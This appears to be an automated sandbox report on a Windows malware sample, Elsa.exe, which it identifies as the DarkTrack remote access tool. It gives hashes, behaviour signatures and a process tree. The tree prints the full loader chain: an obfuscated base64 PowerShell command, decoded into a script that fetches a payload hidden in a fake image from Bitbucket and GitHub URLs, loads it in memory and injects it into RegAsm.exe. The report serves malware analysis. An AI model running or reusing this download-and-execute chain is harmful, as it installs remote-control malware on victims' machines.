Analysis

  • max time kernel
    139s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 23:53

General

  • Target

    Elsa.exe

  • Size

    1.7MB

  • MD5

    357b90b97177f4c2689266f47a99ae74

  • SHA1

    8d4fd39a6dc65fb080b38f7907f256c2e6bcff2b

  • SHA256

    1f5e2e15e2d09dd85380f2bd361d27f6dbd4c8c7f6fe270a54df1bfe3ba853c3

  • SHA512

    f6b19de06515536eec9e06a4c7de0359ebb6b3a2ce1d98fd51f49dcfb7e37ed57bbb3f642701b2d3712ee5c1438fa4009e703de721c4957b7e70f2f2919806d1

  • SSDEEP

    3072:tahKyd2n31G5vWp1icKAArDZz4N9GhbkENEk3b:tahOXp0yN90vE

Malware Config

Signatures

  • DarkTrack

    DarkTrack is a remote administration tool written in delphi.

  • DarkTrack payload 7 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Elsa.exe
    "C:\Users\Admin\AppData\Local\Temp\Elsa.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c grw.vbs
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#DY#MQBl#HM#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#Hc#cQB0#HI#ZQB0#HI#ZQ#v#Gs#cgB1#HI#ZQBt#Gw#dQBy#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxDutionpolicy bypass -Noprofile -command $OWjuxD"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.61es/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1364
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              6⤵
                PID:4864
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:2096
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:2356
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                      PID:5040
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: GetForegroundWindowSpam
                      PID:2916

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            906a96ab3d13d754809f312628f6e4ac

            SHA1

            4f1f3d49c788e5736c31904eaf4683ea4e8683c6

            SHA256

            69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8

            SHA512

            a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            235a8eb126d835efb2e253459ab8b089

            SHA1

            293fbf68e6726a5a230c3a42624c01899e35a89f

            SHA256

            5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

            SHA512

            a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs

            Filesize

            16KB

            MD5

            ec25e2d59cd593036a75cdcf63dfd50f

            SHA1

            c5dabb24eacaa4a4885d0cb2d5949cf73b40d7de

            SHA256

            49bb91b7956f702139913b948258efc6f882a07ff240f34511bf1a7eec1fd258

            SHA512

            adb060f039b74fab79e981c9fdb1c919c851613c0921c62504818ea6340e4e8a58a227d274e595e9a641208b0dc1bd6acfca0c7366cf37d36698923c6e1d29f3

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1s2ekfnc.nwy.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/900-6-0x000002C2E5020000-0x000002C2E5042000-memory.dmp

            Filesize

            136KB

          • memory/1364-23-0x00000207D5850000-0x00000207D588E000-memory.dmp

            Filesize

            248KB

          • memory/2916-24-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-32-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-30-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-33-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-34-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-35-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB

          • memory/2916-36-0x0000000000400000-0x00000000004A4000-memory.dmp

            Filesize

            656KB